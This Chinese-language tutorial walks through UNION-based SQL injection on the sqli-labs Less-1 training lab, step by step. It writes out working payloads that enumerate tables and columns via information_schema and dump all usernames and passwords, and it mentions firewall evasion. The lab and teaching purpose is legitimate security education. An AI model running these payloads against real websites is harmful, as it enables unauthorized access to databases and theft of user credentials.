目录
最终目标:
使用union注入拿到靶机中数据库里的所有用户名和密码
查询语句:
select 列名 from 表名 where 限定语句
以sql-labs中的less-1为例
第一步:查找注入点
直接在url栏中执行注入
第二步:判断是字符型注入还是数字型注入
发现不管是输入?id=1 and 1=1还是?id = 1 and 1=2都能够正常显示出页面,所以确定他是字符型注入
第三步:由于是字符型注入漏洞,所以需要判断闭合方式
在url后面输入单引号发现报错,说明闭合方式是单引号
第四步:判断查询函数
这里采用order by 进行测试:
这里输入的sql的意思是,对第8列进行排序,但数据库中没有第八列,故出现报错
继续尝试,得:
当尝试到第3列时,发现可以正常显示,说明数据库的表中有3列
第五步:判断回显位置
发现回显的位置就是2,3的位置:
5.1获取数据库名
5.2获取表名和列名
5.2.1获取表名
补充知识——information_schema
一个特别的数据库:information_schema
这个数据库包含所有mysql数据库的简要信息。其中包含有两个我们进行sql注入时所需要的数据表:表名集合表tables和列名集合表columns
所需的表名信息在:数据库information_schema-->数据表tables-->数据列table_name
?id=-1' union select 1,table_name,3 from information_schema.tables
我们知道,tables这张表中的内容是有很多的,但是在上图中只显示出了一个表名,还有很多表名没有显示出来,由此体现出了这条命令的局限性。虽然tables表中有海量的表名,但是我们想要的有效信息是:我当前所用数据库security里面的表名。所以需要对咱们构造的sql语句进行更精确的限制(专门只查数据库security的表)。
直接用database()来代替数据库名更好,更好绕过防火墙:
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database()
但是表名有很多个,只显示了一个,显然是不可取的,所以再进行修改:
补充知识——group_concat()的作用
确保所有查询信息能放到一行显示出来
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
可以看到数据库security里面的所有表名都被列举出来了:
由此可以猜测,我们所需查询的表名应为users
5.2.2 获取列名
查找当前数据库security中数据表users的列名
所需信息在数据库information_schema数据表columns数据列column_name
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()--+
现在列出来的是数据库security中的所有列名,我们只想要users表中的列名,接下来再进行构造:
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
第六步:拿到数据库中的所有用户名和密码
现在表名和列名都已经很清楚了,所以通过sql直接拿:
?id=-1' union select 1,2,group_concat(username,'--',password) from users--+
由此便拿下该靶场的数据库中的所有用户名和密码了!